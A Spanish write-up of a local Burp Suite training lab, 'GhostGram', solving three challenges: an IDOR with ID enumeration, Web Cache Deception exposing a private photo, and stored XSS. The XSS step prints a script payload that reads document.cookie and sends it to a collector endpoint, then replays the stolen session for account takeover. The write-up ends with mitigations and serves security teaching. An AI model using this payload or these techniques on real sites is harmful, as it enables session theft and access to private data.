GhostLabs

GhostGram

ejercicios de burp suite :: red social de fotos
ghostgram-lab — write-up
Laboratorio
GhostGram
Dificultad
★★★★☆ media-alta
Categoría
IDOR · Web Cache Deception · XSS
Objetivo
http://127.0.0.1:5001
Herramientas
Burp Proxy · Intercept · Repeater · HTTP history
Retos
3
⚠ Este documento contiene la solución completa de los 3 retos — resuélvelos primero por tu cuenta

Descripción del laboratorio

GhostGram es una red social de fotos de juguete al estilo Instagram: perfiles públicos y privados, publicaciones con foto y descripción, comentarios y mensajes directos. Corre en local (python app/app.py), usa SQLite real por debajo (mismo motor que GhostCart) y no depende de ningún servicio externo una vez arrancada.

Este laboratorio está basado en el vídeo de Gorka El Bochi Morillo "Así los hackers ven tus fotos privadas", que analiza una red social ficticia llamada «Fotia» y encadena tres vectores de ataque distintos, los tres sobre el mismo objetivo: acceder a fotos que deberían ser privadas. A diferencia de GhostCart y GhostFlix —donde los retos son variaciones del mismo patrón de IDOR repetido en varios endpoints—, aquí cada reto es un fallo conceptualmente distinto, y el segundo en particular (Web Cache Deception) es, con diferencia, el menos intuitivo de los tres: no basta con "cambiar un número en la URL", hace falta entender que hay un tercer actor de por medio — una caché — que no forma parte ni del atacante ni de la víctima.

▶ Reto 1 → IDOR en GET /api/posts/<id>/preview
▶ Reto 2 → Web Cache Deception sobre GET /u/<usuario>/<id>.jpg
▶ Reto 3 → XSS almacenado + robo de sesión en los comentarios

Antes de empezar: crea tu propia cuenta en /register (será pública, y hará de «atacante» en los tres retos) y configura el navegador para que pase por el Proxy de Burp — o usa directamente el navegador embebido de Burp, como en las capturas de este documento. Para los retos 2 y 3 necesitarás además una segunda sesión (una ventana de incógnito, o un segundo navegador) logueada con una de las cuentas privadas semilla, para jugar el papel de «víctima»:

UsuarioContraseñaTipo
laura_gomezgirasol24Privada — protagonista de los 3 retos
sofia_ruizsofia2024Privada
carlos_ruizcarlos2024Privada

No es un secreto que haya que adivinar: se entrega directamente como parte del montaje del laboratorio, igual que hacen algunos labs de PortSwigger Academy con las cuentas de víctima. Usa /reset en cualquier momento para devolver todo el laboratorio (base de datos completa y la caché en memoria del reto 2) a su estado inicial.

0
Crear la cuenta del alumno

Antes de tocar ningún reto, nos registramos como ghost_estudiante desde /register. Esta cuenta es pública por defecto y hace de «atacante» durante todo el documento.

Formulario de registro relleno
/register — cuenta del alumno, siempre pública

1IDOR en la vista previa de posts

GET /api/posts/<id>/preview · Proxy > HTTP history · Repeater

En el feed, cada publicación de una cuenta privada que no es la nuestra aparece bloqueada con un candado — pero justo debajo hay un enlace «🔍 Vista previa rápida», una función pensada para dar una idea del contenido sin necesidad de entrar al perfil completo. Esa función llama a un endpoint de API, /api/posts/<id>/preview, y ahí está el fallo: el backend solo exige estar logueado con cualquier cuenta — nunca comprueba si el post pertenece a una cuenta privada, ni si seguimos a su dueño. Además, los IDs de los posts son correlativos, así que enumerarlos uno a uno es trivial.

1
Localizar un post bloqueado con «vista previa»

Bajando por el feed con la cuenta de ghost_estudiante llegamos a una publicación de laura_gomez (cuenta privada). En vez del candado sin más, la app ofrece un enlace de vista previa rápida.

Post privado bloqueado con enlace de vista previa
/feed — post privado de laura_gomez, candado + enlace "🔍 Vista previa rápida"
2
Pulsar la vista previa

Al hacer clic, la caja bajo el enlace se rellena con la descripción y la ubicación reales del post — datos que, siendo una cuenta privada que no seguimos, nunca deberíamos poder ver.

Vista previa mostrando datos de un post privado
La vista previa revela "Privado 2" y la ubicación real del post, pese al candado
3
Confirmarlo en el historial de Burp

En Proxy > HTTP history localizamos la petición que disparó ese clic: GET /api/posts/1/preview. La respuesta es un JSON completo con la descripción, la ubicación, el image_url exacto de la foto y hasta los datos del perfil del dueño — incluido "is_private":true. El servidor sabe perfectamente que la cuenta es privada, y aun así responde con todo.

Petición y respuesta completas en HTTP history
GET /api/posts/1/preview — 200 OK, JSON con caption, location, image_url y owner completo
4
Enumerar otros IDs desde Repeater

Mandamos esa misma petición a Repeater (Ctrl+R) y cambiamos el 1 de la URL por 2. Sin haber tocado el perfil de laura_gomez en ningún momento, obtenemos su segundo post privado — y, más importante para el siguiente reto, su image_url exacto: /u/laura_gomez/2.jpg.

Resultado
Metadatos y ruta de imagen de un post privado, enumerados sin seguir a la cuenta
Repeater mostrando el post id 2 tras editar la URL
Repeater — GET /api/posts/2/preview, misma cuenta atacante, otro ID: image_url = /u/laura_gomez/2.jpg
Guarda ese image_url — es exactamente lo que necesitamos para el reto 2. En un ataque real, con IDs correlativos, un bucle con Intruder (o incluso un script simple) volcaría los datos de todos los posts de la aplicación, públicos o privados, en cuestión de segundos.
Causa raíz: el endpoint de vista previa comprueba "user_id" in session (que haya alguien logueado) pero nunca compara la propiedad del recurso con quien lo pide, ni respeta el flag is_private del dueño. La ruta "normal" para ver la misma foto sí hace esa comprobación (lo veremos en el reto 2) — el fallo es que esta segunda vía de acceso, pensada solo como una utilidad de interfaz, se saltó por completo esa regla de negocio.

2Web Cache Deception

GET /u/<usuario>/<id>.jpg · Proxy > HTTP history · dos sesiones distintas

Este es el reto más denso de los tres, así que antes de tocar nada conviene entender qué vamos a explotar y por qué. La ruta que sirve el fichero real de la foto (GET /u/<usuario>/<id>.jpg) está bien protegida: comprueba que haya sesión y, si la cuenta dueña de la foto es privada, que quien la pide sea exactamente esa cuenta. Si no lo es, responde 403 {"error": "Esta cuenta es privada"} — el mismo mensaje que se ve en el vídeo original al pegar la URL directamente sin ser el dueño. Aquí no hay ningún IDOR: esta ruta sí comprueba propiedad, a diferencia del endpoint del reto 1.

El fallo está delante de esa ruta, no en ella: hay una caché en memoria que representa, de forma simplificada, lo que haría una CDN o un proxy de caché real (Varnish, Cloudflare, un balanceador con caché…) puesto por delante de la aplicación. Esa caché sigue una regla típica —y típicamente mal pensada— de este tipo de infraestructuras: "si la URL termina en una extensión de imagen como .jpg, es un activo estático, cachéalo". El problema es que la clave de esa caché es solo el path de la URL: no sabe, ni le importa, si la respuesta que está guardando era distinta según quién hiciera la petición. La primera vez que alguien —quien sea— consigue un 200 OK en esa URL, la caché la guarda tal cual durante 5 minutos. La siguiente petición a esa misma URL exacta, venga de quien venga, recibe la respuesta guardada sin volver a pasar por la comprobación de privacidad.

Eso significa que necesitamos que alguien con permiso —la propia dueña de la foto— genere ese primer 200 OK que quedará cacheado. En este laboratorio jugamos los dos papeles nosotros mismos, con dos sesiones distintas del navegador, pero el guión es exactamente el del vídeo: el atacante ya sabe (gracias al reto 1) que existe la foto /u/laura_gomez/2.jpg, así que se la manda a la propia Laura por mensaje directo con cualquier pretexto ("¿es esta la foto que buscabas?"). Laura, que sí tiene permiso para ver su propia foto, abre el enlace desde su sesión ya logueada. Esa petición suya es la que queda guardada en la caché — y a partir de ahí, cualquiera que pida esa misma URL la recibe servida desde ahí, sin pasar por ningún control.

Linea de tiempo del ataque (3 peticiones, mismo path, 3 momentos distintos) ═══════════════════════════════════════════════════════════════════════ t0 ATACANTE ──── GET /u/laura_gomez/2.jpg ───▶ [ CACHÉ: vacía ] (sin ser el dueño) │ ▼ comprueba privacidad en la app real │ ◀──────── 403 Forbidden ───────────────┘ "Esta cuenta es privada" (nada se cachea: solo se cachean los 200 OK) t1 VICTIMA ──── GET /u/laura_gomez/2.jpg ───▶ [ CACHÉ: vacía ] (laura_gomez, │ su propia foto) ▼ comprueba privacidad: es su propia foto → OK │ ◀──────── 200 OK (MISS) ────────────────┤ X-Ghostgram-Cache: MISS ▼ [ CACHÉ guarda la respuesta 300s, clave = el path ] t2 ATACANTE ──── GET /u/laura_gomez/2.jpg ───▶ [ CACHÉ: HIT! ] (misma sesión │ de antes, o ninguna) ▼ la petición NUNCA llega a la app real │ ◀──────── 200 OK (HIT) ─────────────────┘ X-Ghostgram-Cache: HIT (la foto privada de Laura, servida tal cual quedó cacheada en t1)
MomentoActorPeticiónQué ve el servidor / la caché
t0 Atacante GET /u/laura_gomez/2.jpg (sin sesión de Laura) Caché vacía → pasa a la app real → cuenta privada, no es el dueño → 403. Al no ser 200, no se cachea nada.
t1 Víctima (laura_gomez) Misma URL exacta, con su propia sesión Caché vacía → pasa a la app real → es su propia foto → 200 OK. La caché guarda esta respuesta bajo la clave /u/laura_gomez/2.jpg, durante 300s.
t2 Atacante La misma URL otra vez La caché ya tiene una entrada para ese path → responde ella misma, sin llegar nunca a la app real ni a su comprobación de privacidad.
1
t0 — Comprobar que el acceso directo está bien bloqueado

Con la sesión de ghost_estudiante (cuenta pública, sin relación con Laura), visitamos directamente /u/laura_gomez/2.jpg en el navegador, antes de que nadie más haya cargado esa foto todavía.

Error de cuenta privada al pedir la foto directamente
El navegador muestra el JSON de error tal cual: {"error": "Esta cuenta es privada"}

Vemos la misma petición en Burp, con el código de estado y el motivo exactos:

Petición 403 en Burp con el mensaje de cuenta privada
GET /u/laura_gomez/2.jpg — 403 FORBIDDEN, {"error":"Esta cuenta es privada"}
Este 403 es la prueba de que aquí no hay un IDOR clásico como en el reto 1: la ruta de la imagen sí comprueba correctamente quién la pide. Guárdate este resultado para compararlo con el paso 3.
2
t1 — La víctima abre su propia foto

En una segunda sesión (ventana de incógnito), iniciamos sesión como laura_gomez y visitamos esa misma URL. Al ser su propia foto, la comprobación de privacidad la deja pasar.

Respuesta 200 con cabecera X-Ghostgram-Cache MISS
GET /u/laura_gomez/2.jpg con la cookie de laura_gomez — 200 OK, X-Ghostgram-Cache: MISS

La cabecera X-Ghostgram-Cache: MISS (añadida por este laboratorio solo con fines didácticos — una CDN real no suele anunciar esto de forma tan visible) confirma que la respuesta se acaba de generar y de guardar en caché. A partir de aquí, cualquier petición idéntica a este path recibirá esta misma respuesta sin pasar por la app.

3
t2 — El atacante pide la misma URL

De vuelta en la sesión de ghost_estudiante (la misma cuenta pública del paso 1, que antes recibió un 403 limpio), volvemos a pedir exactamente /u/laura_gomez/2.jpg.

Resultado
La foto privada de laura_gomez, cargada por completo en el navegador del atacante
Foto privada de laura_gomez cargada en el navegador del atacante
127.0.0.1:5001/u/laura_gomez/2.jpg — visible sin ser el dueño ni seguir a la cuenta

Y en Burp, la prueba definitiva del origen de esa respuesta:

Respuesta 200 con cabecera X-Ghostgram-Cache HIT
Misma URL, cookie del atacante (no la de laura_gomez) — 200 OK, X-Ghostgram-Cache: HIT
Compara esta petición con la del paso 1: la URL es idéntica, pero ahora responde 200 OK en vez de 403 — y la única diferencia real en el sistema es que, entre medias, alguien con permiso cargó esa misma URL y quedó cacheada. La cookie de sesión del atacante ni siquiera es relevante para esta respuesta: la caché no la mira.
Causa raíz doble: (1) la caché indexa las respuestas solo por el path, sin tener en cuenta que la respuesta dependía de la sesión de quien la pidió (le falta respetar cabeceras como Vary: Cookie o, más robusto aún, no cachear en absoluto rutas cuya respuesta varíe según la identidad); y (2) la regla de "cachear todo lo que termine en .jpg/.png" es una heurística ingenua muy habitual en configuraciones reales de CDN — confunde "es una imagen" con "es un recurso público", que no son lo mismo.

3XSS almacenado + robo de sesión

POST /api/posts/<id>/comments · Proxy > Intercept · Repeater

El campo de comentarios de cada publicación guarda el texto tal cual se envía y lo pinta después en la página sin escapar el HTML. Por sí solo, esto ya sería un XSS almacenado: cualquier <script> guardado en un comentario se ejecutaría en el navegador de cualquiera que abra esa publicación. Pero hay una segunda causa raíz que multiplica el daño: la cookie de sesión de GhostGram no lleva el flag HttpOnly. Sin ese flag, JavaScript en la página puede leer document.cookie directamente — así que el XSS no solo desfigura la página, puede robar literalmente la sesión de quien la vea.

Como en el vídeo original, el "servidor del atacante" que recibiría la cookie robada normalmente estaría en una infraestructura aparte (Gorka monta un python3 -m http.server en una terminal distinta). Para que este laboratorio sea autocontenido y no haga falta abrir un segundo puerto, esa recolección vive aquí dentro de la propia app de GhostGram, en GET /api/collect — deja constancia de que esto es una simplificación pedagógica, no cómo funcionaría un ataque real.

1
Localizar el formulario de comentarios

Abrimos cualquier publicación pública y bajamos hasta el formulario "Escribe un comentario…". No hace falta que sea un post de la víctima: cualquier comentario visible para ella sirve como cebo — usamos un post público cualquiera para no depender de que la víctima nos siga ni de privacidad.

Página de detalle de un post con el formulario de comentarios
/post/8 — publicación pública, con su formulario de comentarios al final
2
Interceptar y enviar el payload

Con Proxy > Intercept activado, escribimos el payload en el campo y lo enviamos:

<script>fetch('/api/collect?cookie=' + document.cookie)</script>

La petición interceptada muestra el cuerpo JSON exacto que va a guardarse en la base de datos, tal cual, sin ningún tipo de saneamiento:

Petición interceptada con el payload XSS en el cuerpo JSON
POST /api/posts/8/comments — {"body":"<script>fetch('/api/collect?cookie=' + document.cookie)</script>"}
Es importante entender por qué este payload funciona aquí y no habría funcionado si el comentario se insertara en la página con JavaScript (por ejemplo, con elemento.innerHTML = comentario tras una llamada a una API): los navegadores, por diseño, no ejecutan etiquetas <script> insertadas así. Aquí funciona porque el comentario se pinta en el servidor, como parte del HTML que la página carga desde cero en cada visita — el navegador sí ejecuta el <script> al parsear ese HTML inicial, igual que ejecutaría cualquier otro script legítimo de la página.
3
La cookie de sesión, sin HttpOnly

Antes de que la víctima entre en escena, comprobamos la segunda causa raíz: la respuesta de POST /login fija la cookie de sesión sin el flag HttpOnly.

Cabecera Set-Cookie sin el flag HttpOnly
Set-Cookie: session=...; Path=/ — sin HttpOnly ni Secure
Si esta cookie llevara HttpOnly, el <script> inyectado en el paso anterior seguiría ejecutándose (el XSS seguiría siendo real), pero document.cookie devolvería una cadena vacía para esta cookie en concreto — el robo de sesión, específicamente, dejaría de ser posible por esta vía. Son dos fallos independientes que se refuerzan entre sí.
4
La víctima abre la publicación

En la segunda sesión (incógnito, logueada como laura_gomez), visitamos la misma publicación. En cuanto la página carga, el <script> guardado en el comentario se ejecuta silenciosamente en su navegador: no hay ningún indicio visual de que algo haya pasado — el fetch() se dispara en segundo plano y la página se ve exactamente igual que cualquier otra publicación con comentarios.

Esto es precisamente lo que hace peligroso a un XSS almacenado frente a uno reflejado: la víctima no tiene que hacer clic en ningún enlace sospechoso ni introducir ningún dato — basta con que visite una página normal de la aplicación en el curso de su uso habitual.
5
Comprobar la cookie capturada

Volvemos a la sesión del atacante y abrimos /panel-robado — la "consola" donde este laboratorio simula el servidor que recibiría el fetch() del payload.

Resultado
Cookie de sesión de laura_gomez, capturada sin que ella lo note
Panel del atacante mostrando la cookie robada de laura_gomez
/panel-robado — nueva fila con el valor exacto de session=... capturado al vuelo
Al copiar un valor de cookie desde una captura de pantalla para usarlo después, es fácil confundir caracteres parecidos (una S mayúscula con un 5, una l minúscula con una I mayúscula…) y acabar con un valor inválido. Lo fiable es leer el valor exacto desde donde se guardó (aquí, la propia base de datos del laboratorio), no transcribirlo a mano.
6
Usar la cookie robada: account takeover

Con el valor exacto de la cookie, montamos a mano en Repeater una petición GET /feed sustituyendo nuestra propia cookie por la robada — sin haber escrito la contraseña de laura_gomez en ningún momento.

Respuesta 200 al feed usando la cookie robada, con enlace a Mi perfil apuntando a laura_gomez
GET /feed con la cookie robada — 200 OK; el enlace "Mi perfil" apunta a /u/laura_gomez

El 200 OK y, sobre todo, el enlace de navegación "Mi perfil" → /u/laura_gomez en el propio HTML de respuesta confirman que el servidor nos reconoce como ella: la sesión robada da acceso completo a la cuenta, incluidas sus publicaciones y mensajes privados, mientras la cookie siga siendo válida.

Causa raíz doble: (1) el comentario se guarda y se renderiza sin escapar el HTML — el backend confía en el contenido que le manda el cliente y la plantilla lo pinta con |safe a propósito; y (2) la cookie de sesión no lleva HttpOnly, lo que convierte un XSS "solo" desfigurador en un robo de sesión completo. Arreglar cualquiera de los dos por separado ya mitigaría el impacto — arreglar los dos es lo correcto.

Cómo se protege cada fallo

RetoFalloMitigación
1 IDOR — vista previa Aplicar la misma comprobación de propiedad/privacidad en todas las vías de acceso a un recurso, no solo en la "principal" — aquí faltaba en un endpoint auxiliar de interfaz.
2 Web Cache Deception No cachear por path recursos cuya respuesta dependa de la sesión; si hace falta cachear, incluir la identidad (o al menos Vary: Cookie) en la clave de caché, y no basar la decisión de cachear solo en la extensión del archivo.
3 XSS almacenado + robo de sesión Escapar siempre el contenido generado por usuarios antes de renderizarlo (o usar una librería de plantillas que lo haga por defecto), y marcar las cookies de sesión como HttpOnly (idealmente también Secure y SameSite).

Herramientas utilizadas

HerramientaUso
Proxy > HTTP historyConfirmar la respuesta completa de un endpoint tras interactuar con la interfaz (reto 1), y comparar la misma URL en distintos momentos (reto 2)
RepeaterEnumerar IDs cambiando solo el identificador objetivo (reto 1), y reconstruir una petición a mano con una cookie robada (reto 3)
Proxy > InterceptRetener y examinar el envío de un comentario para confirmar el payload exacto que llega al servidor (reto 3)
Dos sesiones de navegadorImprescindible en los retos 2 y 3 para separar el papel de atacante del de víctima